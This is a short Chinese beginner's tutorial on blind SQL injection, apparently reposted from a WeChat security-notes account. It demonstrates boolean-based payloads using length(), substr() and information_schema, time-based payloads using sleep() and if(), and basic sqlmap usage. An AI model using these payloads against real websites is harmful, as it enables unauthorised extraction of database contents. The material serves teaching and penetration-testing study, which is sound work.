盲注
盲注:我们通过判断的方式,去查询相关数据内容。
?id=1 and 1=1
?id=1 and 1=2
布尔盲注
database(); # 查询当前数据库名
length() # 函数,作用是查询长度。
Eg:length('cmd') # 输出的是:3
length(database()) # 查询的是【当前数据库库名】的长度。
length(database())=2 --> 无查询数据 --> 当前数据库的库名不是2个字符。
数据库库名是kanwolongxia。
length(database())=12 --> 有查询数据 --> 当前数据库的库名长度是12个字符。
substr(字符串,m,n) # 函数,作用是截取。
substr('cmd',1,1) # --> 截取的是 c
substr('lineing_shre',7,1) # --> 截取的是:g
substr(database(),1,1) # 截取【当前数据库库名】的第一个字符。
and substr(database(),1,1)='a' --> 页面无内容--> 说明当前数据库库名第一个字符不是a。
and substr(database(),1,1)='b'-->页面无内容--> 说明当前数据库库名第一个字符不是b
and substr(database(),1,1)='k' -->页面有内容 --> 说明当前数据库库名第一个字符是k
and substr(database(),2,1)='a'-->页面有内容 --> 说明当前数据库库名第二个字符是a
盲注很费时间对不对。--> sqlmap工具 -->专门针对数据库注入漏洞
或and substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) = 'a' --> 第一个字符不是a
ps:布尔盲注--> 判断网页有/无内容
时间盲注 --> 判断,这个根据网页显示的时间来判断的。
时间盲注
sleep() # 这个函数能让网页延迟显示。
and sleep(5) # 网站延时了5秒再显示。
if(length(database())=12,sleep(5),1) --> 网站延迟显示5秒,说明判断条件是对的-->当前数据库库明的长度是12。
网站延迟显示5秒。
sqlmap工具
sqlmap工具 , 针对的是数据库注入漏洞,而且偏爱盲注。
基本使用
python sqlmap.py -u "URL";
python -u "URL"(kali)
输入网址
输出结果
ps:sqlmap工具,kali自带。
原文始发于微信公众号(小白安全的笔记):渗透测试基础-盲注
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论